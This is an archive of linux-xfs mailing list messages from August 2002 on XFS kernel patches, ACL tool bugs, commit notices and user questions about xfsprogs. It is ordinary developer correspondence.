Received: (from ctooley@localhost) by christooley.cjb.net (8.12.5/8.12.5/Submit) id g7CHRNDc002521; Mon, 12 Aug 2002 12:27:23 -0500 X-Authentication-Warning: christooley.cjb.net: ctooley set sender to chris@tooley.com using -f Subject: 2.4.18-7 From: Chris Tooley To: linux-xfs@oss.sgi.com Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 (1.0.8-2) Date: 12 Aug 2002 12:27:23 -0500 Message-Id: <1029173243.2482.2.camel@christooley.cjb.net> Mime-Version: 1.0 X-Spam-Status: No, hits=1.9 required=5.0 tests=SUBJ_ALL_CAPS version=2.20 X-Spam-Level: * Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Could the keeper of the patches for the RedHat kernel pass them on to me so I can apply them to the latest RedHat kernel? I need some of the NIC fixes in the latest release and it appears that they might also fix some of my issues with NFS. Chris Tooley From owner-linux-xfs@oss.sgi.com Mon Aug 12 10:44:42 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7CHigRw011012 for ; Mon, 12 Aug 2002 10:44:42 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7CHigjB011011 for linux-xfs-outgoing; Mon, 12 Aug 2002 10:44:42 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7CHiZRw010981 for ; Mon, 12 Aug 2002 10:44:35 -0700 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id MAA13374; Mon, 12 Aug 2002 12:46:53 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id MAA11078; Mon, 12 Aug 2002 12:46:53 -0500 (CDT) Subject: Re: 2.4.18-7 From: Eric Sandeen To: Chris Tooley Cc: linux-xfs@oss.sgi.com In-Reply-To: <1029173243.2482.2.camel@christooley.cjb.net> References: <1029173243.2482.2.camel@christooley.cjb.net> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) Date: 12 Aug 2002 12:41:37 -0500 Message-Id: <1029174097.13488.3.camel@stout.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Hi Chris - Erm, I'm not sure that person ("the Red Hat patch-keeper") exists. :) Knut Bjuland has a set of patches for 2.4.18-5, which I have not had any time to review, although I'm contemplating putting them on the ftp site as-is. I simply don't have the time to keep up with Red Hat these days. -Eric On Mon, 2002-08-12 at 12:27, Chris Tooley wrote: > Could the keeper of the patches for the RedHat kernel pass them on to me > so I can apply them to the latest RedHat kernel? I need some of the NIC > fixes in the latest release and it appears that they might also fix some > of my issues with NFS. > > Chris Tooley > -- Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. 651-683-3102 From owner-linux-xfs@oss.sgi.com Mon Aug 12 11:02:36 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7CI2aRw013008 for ; Mon, 12 Aug 2002 11:02:36 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7CI2ahB013007 for linux-xfs-outgoing; Mon, 12 Aug 2002 11:02:36 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from mail.gmx.net (mail.gmx.de [213.165.64.20]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7CI2VRw012975 for ; Mon, 12 Aug 2002 11:02:32 -0700 Received: (qmail 8127 invoked by uid 0); 12 Aug 2002 18:04:49 -0000 Received: from gate.gmx.net (213.165.64.17) by mail.gmx.net (mp004-rz3) with SMTP; 12 Aug 2002 18:04:49 -0000 Received: from kt by gate.gmx.net with local (Exim 3.35 #1 (Debian)) id 17eJXq-0005XL-00 for ; Mon, 12 Aug 2002 20:03:58 +0200 Date: Mon, 12 Aug 2002 20:03:58 +0200 From: Thomas Knauer To: linux-xfs@oss.sgi.com Subject: Re: Problems with mkfs.xfs 2.1.2 Message-ID: <20020812180358.GA21283@gmx-ag.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Hi, > > Hi, > > > > after upgrading to the latest xfsprogs (2.1.2) we encounter a strange > 2.1.2 or 2.2.1? # mkfs.xfs -V mkfs.xfs version 2.1.2 Regards, Thomas From owner-linux-xfs@oss.sgi.com Mon Aug 12 11:10:04 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7CIA4Rw014101 for ; Mon, 12 Aug 2002 11:10:04 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7CIA4J0014100 for linux-xfs-outgoing; Mon, 12 Aug 2002 11:10:04 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from phoenix.infradead.org (phoenix.mvhi.com [195.224.96.167]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7CI9vRw014066 for ; Mon, 12 Aug 2002 11:09:58 -0700 Received: from hch by phoenix.infradead.org with local (Exim 4.10) id 17eJfw-0003Xl-00; Mon, 12 Aug 2002 19:12:20 +0100 Date: Mon, 12 Aug 2002 19:12:20 +0100 From: Christoph Hellwig To: Thomas Knauer Cc: linux-xfs@oss.sgi.com Subject: Re: Problems with mkfs.xfs 2.1.2 Message-ID: <20020812191220.A13618@infradead.org> References: <20020812180358.GA21283@gmx-ag.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20020812180358.GA21283@gmx-ag.de>; from tknauer@gmx-ag.de on Mon, Aug 12, 2002 at 08:03:58PM +0200 X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Mon, Aug 12, 2002 at 08:03:58PM +0200, Thomas Knauer wrote: > > 2.1.2 or 2.2.1? > > # mkfs.xfs -V > mkfs.xfs version 2.1.2 Could you try 2.2.1 (or a current CVS checkout)? From owner-linux-xfs@oss.sgi.com Mon Aug 12 12:08:32 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7CJ8WRw023043 for ; Mon, 12 Aug 2002 12:08:32 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7CJ8Rsl023042 for linux-xfs-outgoing; Mon, 12 Aug 2002 12:08:27 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from iris.acsalaska.net (iris.slb.nwc.acsalaska.net [209.112.155.43]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7CJ8HRw023010 for ; Mon, 12 Aug 2002 12:08:18 -0700 Received: from erbenson.alaska.net (179-pm11.nwc.alaska.net [209.112.140.179]) by iris.acsalaska.net (8.12.5/8.12.5) with ESMTP id g7CJ8qPl064266; Mon, 12 Aug 2002 11:09:47 -0800 (AKDT) (envelope-from erbenson@alaska.net) Received: from plato.local.lan (plato.local.lan [192.168.0.4]) by erbenson.alaska.net (Postfix) with ESMTP id 4A0303A0E; Mon, 12 Aug 2002 11:08:51 -0800 (AKDT) Received: by plato.local.lan (Postfix, from userid 1000) id D283810294; Mon, 12 Aug 2002 11:08:50 -0800 (AKDT) Date: Mon, 12 Aug 2002 11:08:50 -0800 From: Ethan Benson To: Andreas Gruenbacher Cc: linux-xfs@oss.sgi.com, acl-devel@bestbits.at Subject: Re: [Acl-Devel] Re: setfacl bug Message-ID: <20020812110850.F23734@plato.local.lan> Mail-Followup-To: Andreas Gruenbacher , linux-xfs@oss.sgi.com, acl-devel@bestbits.at References: <20020811170003.E23734@plato.local.lan> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="Y/WcH0a6A93yCHGr" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from ag@bestbits.at on Mon, Aug 12, 2002 at 05:08:34PM +0200 X-OS: Debian GNU Mail-Copies-To: nobody X-No-CC: I subscribe to this list; do not CC me on replies. X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk --Y/WcH0a6A93yCHGr Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Aug 12, 2002 at 05:08:34PM +0200, Andreas Gruenbacher wrote: > On Sun, 11 Aug 2002, Ethan Benson wrote: >=20 > > > > one more detail, setfacl -b is also completly broken, it just returns > > Permission denied for regular files. this is consistent with Nathan's > > assessment that acl_get_file needs to not fail on regular files. > > > > sidenote, why is setfacl returning permission denied? this does not > > seem to be the correct error. >=20 > It's defined to behave like that in 1003.1e draft 17 if an application > tries acl_get_file("non-directory", ACL_TYPE_DEFAULT). That's what setfacl > did. Thanks for reporting the bug. wierd, i would think ENOTDIR would be more appropriate and accurate. (would certainly would have made the bug easier to track). --=20 Ethan Benson http://www.alaska.net/~erbenson/ --Y/WcH0a6A93yCHGr Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAj1YB8IACgkQJKx7GixEevzbqACfbP/MF+B4BWDxvPtd7l60UDa2 09UAn3mJLnBVJALY2mo8QjroV3sSdKUU =5D5a -----END PGP SIGNATURE----- --Y/WcH0a6A93yCHGr-- From owner-linux-xfs@oss.sgi.com Mon Aug 12 13:19:47 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7CKJlRw023993 for ; Mon, 12 Aug 2002 13:19:47 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7CKJl6E023992 for linux-xfs-outgoing; Mon, 12 Aug 2002 13:19:47 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7CKJdRw023960 for ; Mon, 12 Aug 2002 13:19:39 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id PAA14847 for ; Mon, 12 Aug 2002 15:21:58 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id PAA31209; Mon, 12 Aug 2002 15:21:57 -0500 (CDT) From: Eric Sandeen Received: by stout.americas.sgi.com (8.11.6/SGI-client-1.7) id g7CKGeN19977; Mon, 12 Aug 2002 15:16:40 -0500 Message-Id: <200208122016.g7CKGeN19977@stout.americas.sgi.com> Date: Mon, 12 Aug 2002 15:16:40 -0500 Subject: TAKE 864048 - Allow non-root to set sticky bit on regular files X-Spam-Status: No, hits=0.9 required=5.0 tests=MISSING_HEADERS version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk The LTP test "chmod03" was failing here, when xfs disallowed setting the sticky bit on a regular file by a non-root user. This was specifically disallowed in xfs_setattr; back in the XFS 1.1 days it wasn't apparent because we subsequently called inode_setattr, which allowed it. We no longer call inode_setattr in linvfs_setattr, and rather call vn_revalidate against the xfs inode, and the cleared sticky bit made it to the "outside world" This change just #if's out the part of the code that disallowed setting the sticky bit and keeps the code there for reference on the difference from Irix behavior... Date: Mon Aug 12 13:17:49 PDT 2002 Workarea: stout.americas.sgi.com:/localhome/src/sandeen/2.4.x-xfs/workarea-alwaysclean The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:124838a linux/fs/xfs/xfs_vnodeops.c - 1.550 - Allow non-root to set sticky bit on regular files. (Linux difference from Irix, apparently). From owner-linux-xfs@oss.sgi.com Mon Aug 12 14:20:21 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7CLKLRw024642 for ; Mon, 12 Aug 2002 14:20:21 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7CLKLU1024641 for linux-xfs-outgoing; Mon, 12 Aug 2002 14:20:21 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from malone.cisco.com (malone.cisco.com [171.70.157.157]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7CLKERw024612 for ; Mon, 12 Aug 2002 14:20:14 -0700 Received: from dhcp-171-71-86-203.cisco.com (dhcp-171-71-86-203.cisco.com [171.71.86.203]) by malone.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id OAA16843 for ; Mon, 12 Aug 2002 14:22:33 -0700 (PDT) Subject: Patch for 2.4.19, acceptance into main kernel tree? From: Roland Dobbins To: linux-xfs@oss.sgi.com Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 12 Aug 2002 14:24:08 -0700 Message-Id: <1029187448.264.34.camel@anabasis> Mime-Version: 1.0 X-Spam-Status: No, hits=-0.1 required=5.0 tests=SUBJ_ENDS_IN_Q_MARK version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk I'm really grateful for all the hard work and resources you folks have put into XFS - I've come to depend on it as a fast, reliable journaling filesystem, so please accept my heartfelt thanks for your efforts in this area! As with all projects of this sort, people (like me, heh) identify the best-of-breed and begin -using- and, worse -needing- the technology in question. So, not to nag, but I was just wondering if there were any plans to produce an XFS patch for 2.4.19, and what efforts, if any, were underway to get Linux to accept it into the main kernel tree? Many thanks! -- --------------------------------------------------------- Roland Dobbins // 408.527.6376 voice From owner-linux-xfs@oss.sgi.com Mon Aug 12 14:25:03 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7CLP3Rw024834 for ; Mon, 12 Aug 2002 14:25:03 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7CLP32T024833 for linux-xfs-outgoing; Mon, 12 Aug 2002 14:25:03 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7CLOuRw024801 for ; Mon, 12 Aug 2002 14:24:57 -0700 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id QAA15445; Mon, 12 Aug 2002 16:27:16 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id QAA58205; Mon, 12 Aug 2002 16:27:15 -0500 (CDT) Subject: Re: Patch for 2.4.19, acceptance into main kernel tree? From: Eric Sandeen To: Roland Dobbins Cc: linux-xfs@oss.sgi.com In-Reply-To: <1029187448.264.34.camel@anabasis> References: <1029187448.264.34.camel@anabasis> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) Date: 12 Aug 2002 16:21:58 -0500 Message-Id: <1029187318.13228.20.camel@stout.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-4.5 required=5.0 tests=IN_REP_TO,SUBJ_ENDS_IN_Q_MARK version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Hi Roland - Please see ftp://oss.sgi.com/projects/xfs/download/patches/2.4.19, and note that this is just a snapshot patch, not a well-tested release. Oh, and read the README, it explains the files you'll find there. Regarding acceptance into Linus' tree, that work is ongoing... -Eric On Mon, 2002-08-12 at 16:24, Roland Dobbins wrote: > I'm really grateful for all the hard work and resources you folks have > put into XFS - I've come to depend on it as a fast, reliable journaling > filesystem, so please accept my heartfelt thanks for your efforts in > this area! > > As with all projects of this sort, people (like me, heh) identify the > best-of-breed and begin -using- and, worse -needing- the technology in > question. So, not to nag, but I was just wondering if there were any > plans to produce an XFS patch for 2.4.19, and what efforts, if any, > were underway to get Linux to accept it into the main kernel tree? -- Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. 651-683-3102 From owner-linux-xfs@oss.sgi.com Mon Aug 12 14:27:52 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7CLRqRw025006 for ; Mon, 12 Aug 2002 14:27:52 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7CLRqYe025005 for linux-xfs-outgoing; Mon, 12 Aug 2002 14:27:52 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from malone.cisco.com (malone.cisco.com [171.70.157.157]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7CLRjRw024975 for ; Mon, 12 Aug 2002 14:27:45 -0700 Received: from dhcp-171-71-86-203.cisco.com (dhcp-171-71-86-203.cisco.com [171.71.86.203]) by malone.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id OAA28791; Mon, 12 Aug 2002 14:30:04 -0700 (PDT) Subject: Re: Patch for 2.4.19, acceptance into main kernel tree? From: Roland Dobbins To: Eric Sandeen Cc: linux-xfs@oss.sgi.com In-Reply-To: <1029187318.13228.20.camel@stout.americas.sgi.com> References: <1029187448.264.34.camel@anabasis> <1029187318.13228.20.camel@stout.americas.sgi.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 12 Aug 2002 14:31:39 -0700 Message-Id: <1029187900.301.37.camel@anabasis> Mime-Version: 1.0 X-Spam-Status: No, hits=-4.5 required=5.0 tests=IN_REP_TO,SUBJ_ENDS_IN_Q_MARK version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Wow, thanks for the quick response - you folks rock! On Mon, 2002-08-12 at 14:21, Eric Sandeen wrote: > Hi Roland - > > Please see ftp://oss.sgi.com/projects/xfs/download/patches/2.4.19, and > note that this is just a snapshot patch, not a well-tested release. > > Oh, and read the README, it explains the files you'll find there. > > Regarding acceptance into Linus' tree, that work is ongoing... > > -Eric > > On Mon, 2002-08-12 at 16:24, Roland Dobbins wrote: > > I'm really grateful for all the hard work and resources you folks have > > put into XFS - I've come to depend on it as a fast, reliable journaling > > filesystem, so please accept my heartfelt thanks for your efforts in > > this area! > > > > As with all projects of this sort, people (like me, heh) identify the > > best-of-breed and begin -using- and, worse -needing- the technology in > > question. So, not to nag, but I was just wondering if there were any > > plans to produce an XFS patch for 2.4.19, and what efforts, if any, > > were underway to get Linux to accept it into the main kernel tree? > > -- > Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs > sandeen@sgi.com SGI, Inc. 651-683-3102 > -- --------------------------------------------------------- Roland Dobbins // 408.527.6376 voice From owner-linux-xfs@oss.sgi.com Mon Aug 12 14:30:24 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7CLUORw025184 for ; Mon, 12 Aug 2002 14:30:24 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7CLUOLw025183 for linux-xfs-outgoing; Mon, 12 Aug 2002 14:30:24 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from phoenix.infradead.org (phoenix.infradead.org [195.224.96.167]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7CLUJRw025155 for ; Mon, 12 Aug 2002 14:30:20 -0700 Received: from hch by phoenix.infradead.org with local (Exim 4.10) id 17eMno-0005CI-00; Mon, 12 Aug 2002 22:32:40 +0100 Date: Mon, 12 Aug 2002 22:32:40 +0100 From: Christoph Hellwig To: Eric Sandeen Cc: Roland Dobbins , linux-xfs@oss.sgi.com Subject: Re: Patch for 2.4.19, acceptance into main kernel tree? Message-ID: <20020812223240.A19899@infradead.org> References: <1029187448.264.34.camel@anabasis> <1029187318.13228.20.camel@stout.americas.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <1029187318.13228.20.camel@stout.americas.sgi.com>; from sandeen@sgi.com on Mon, Aug 12, 2002 at 04:21:58PM -0500 X-Spam-Status: No, hits=-4.5 required=5.0 tests=IN_REP_TO,SUBJ_ENDS_IN_Q_MARK version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Mon, Aug 12, 2002 at 04:21:58PM -0500, Eric Sandeen wrote: > Hi Roland - > > Please see ftp://oss.sgi.com/projects/xfs/download/patches/2.4.19, and > note that this is just a snapshot patch, not a well-tested release. In fact the initial split patches contain a bug I'd consider serious. Keith talked about respinnning them once kdb 2.3 is in, and I think that would be a good very good idea. From owner-linux-xfs@oss.sgi.com Mon Aug 12 14:56:59 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7CLuxRw025487 for ; Mon, 12 Aug 2002 14:56:59 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7CLuxWo025486 for linux-xfs-outgoing; Mon, 12 Aug 2002 14:56:59 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from sgi.com (sgi-too.SGI.COM [204.94.211.39]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7CLurRw025458 for ; Mon, 12 Aug 2002 14:56:53 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.55.149]) by sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id OAA09627 for ; Mon, 12 Aug 2002 14:59:58 -0700 (PDT) mail_from (nathans@snort.melbourne.sgi.com) Received: (from nathans@localhost) by snort.melbourne.sgi.com (SGI-8.9.3/8.9.3) id HAA19988; Tue, 13 Aug 2002 07:57:51 +1000 (EST) Date: Tue, 13 Aug 2002 07:57:51 +1000 (EST) From: Nathan Scott Message-Id: <200208122157.HAA19988@snort.melbourne.sgi.com> To: linux-xfs@oss.sgi.com Cc: agruen@suse.de Subject: TAKE - acl-2.0.17 X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Date: Mon Aug 12 14:57:01 PDT 2002 Workarea: snort.melbourne.sgi.com:/home/nathans/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:124852a cmd/acl/VERSION - 1.34 cmd/acl/doc/CHANGES - 1.39 cmd/acl/debian/changelog - 1.29 cmd/acl/setfacl/do_set.c - 1.7 - merge in Andreas' 2.0.17 changes - fixes setfacl/acl_get_file issue. From owner-linux-xfs@oss.sgi.com Mon Aug 12 17:35:23 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7D0ZNRw028447 for ; Mon, 12 Aug 2002 17:35:23 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7D0ZNFc028446 for linux-xfs-outgoing; Mon, 12 Aug 2002 17:35:23 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from moutvdomng3.kundenserver.de (moutvdom.kundenserver.de [195.20.224.200]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7D0ZFRw028417 for ; Mon, 12 Aug 2002 17:35:16 -0700 Received: from [195.20.224.214] (helo=mrvdomng2.kundenserver.de) by moutvdomng3.kundenserver.de with esmtp (Exim 3.35 #2) id 17ePgl-0006n4-00 for linux-xfs@oss.sgi.com; Tue, 13 Aug 2002 02:37:35 +0200 Received: from [217.228.151.222] (helo=kernelpanix.aura.of.mankind) by mrvdomng2.kundenserver.de with esmtp (Exim 3.35 #2) id 17ePgk-0002Az-00 for linux-xfs@oss.sgi.com; Tue, 13 Aug 2002 02:37:34 +0200 Received: (from utz@localhost) by kernelpanix.aura.of.mankind (8.11.6/8.11.2) id g7D0bMu02509 for linux-xfs@oss.sgi.com; Tue, 13 Aug 2002 02:37:22 +0200 X-Authentication-Warning: kernelpanix.aura.of.mankind: utz set sender to xfs@s2y4n2c.de using -f Date: Tue, 13 Aug 2002 02:37:22 +0200 From: utz lehmann To: linux-xfs@oss.sgi.com Subject: Wrong paths in xfsprogs-devel-2.1.2-0.i386.rpm Message-ID: <20020813023722.A2236@s2y4n2c.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Hi FYI: The paths in the xfsprogs-devel-2.1.2-0.i386.rpm from ftp://oss.sgi.com/projects/xfs/download/cmd_rpms/i386/ are wrong: /include/disk /include/disk/dvh.h /include/disk/fstyp.h [...] /libexec /libexec/libdisk.a /libexec/libhandle.a [...] /man/man3 /man/man3/attr_list_by_handle.3 /man/man3/attr_multi_by_handle.3 [...] utz From owner-linux-xfs@oss.sgi.com Mon Aug 12 18:46:06 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7D1k6Rw011104 for ; Mon, 12 Aug 2002 18:46:06 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7D1k6D2011103 for linux-xfs-outgoing; Mon, 12 Aug 2002 18:46:06 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from webcube2.volstate.net (webcube2.volstate.net [66.129.16.201]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7D1k1Rw011075 for ; Mon, 12 Aug 2002 18:46:01 -0700 Received: from volstate.net (webcube2.volstate.net [66.129.16.201]) by webcube2.volstate.net (8.9.3/8.9.3) with SMTP id VAA30257 for ; Mon, 12 Aug 2002 21:48:26 -0400 From: joebacom@volstate.net Message-Id: <200208130148.VAA30257@webcube2.volstate.net> Date: Mon, 12 Aug 2002 21:48:26 -0400 (EDT) To: linux-xfs@oss.sgi.com Subject: Userspace questions X-Mailer: AtDot 2.0.1 X-URL: http://www.volstate.net/webmail.html X-Spam-Status: No, hits=0.6 required=5.0 tests=NO_REAL_NAME version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Hi Folks; I just have a couple questions about the userspace in the XFS journal. 1. Is there a way to search the attribute value field somewhat like you can the attribute name field (i.e. getfattr -m "expression")? 2. What are the limitations (if any) of storeing attribute information in the journal? For instance when is too much, too much? Your feedback is much appreciated. Thanks; Joe From owner-linux-xfs@oss.sgi.com Mon Aug 12 18:59:07 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7D1x7Rw011322 for ; Mon, 12 Aug 2002 18:59:07 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7D1x70u011321 for linux-xfs-outgoing; Mon, 12 Aug 2002 18:59:07 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from sgi.com (sgi-too.SGI.COM [204.94.211.39]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7D1x2Rw011293 for ; Mon, 12 Aug 2002 18:59:02 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via SMTP id TAA07674 for ; Mon, 12 Aug 2002 19:02:06 -0700 (PDT) mail_from (nathans@larry.melbourne.sgi.com) Received: from frodo.melbourne.sgi.com (frodo.melbourne.sgi.com [134.14.55.153]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id MAA28464; Tue, 13 Aug 2002 12:00:07 +1000 Received: from frodo.melbourne.sgi.com (nathans@localhost [127.0.0.1]) by frodo.melbourne.sgi.com 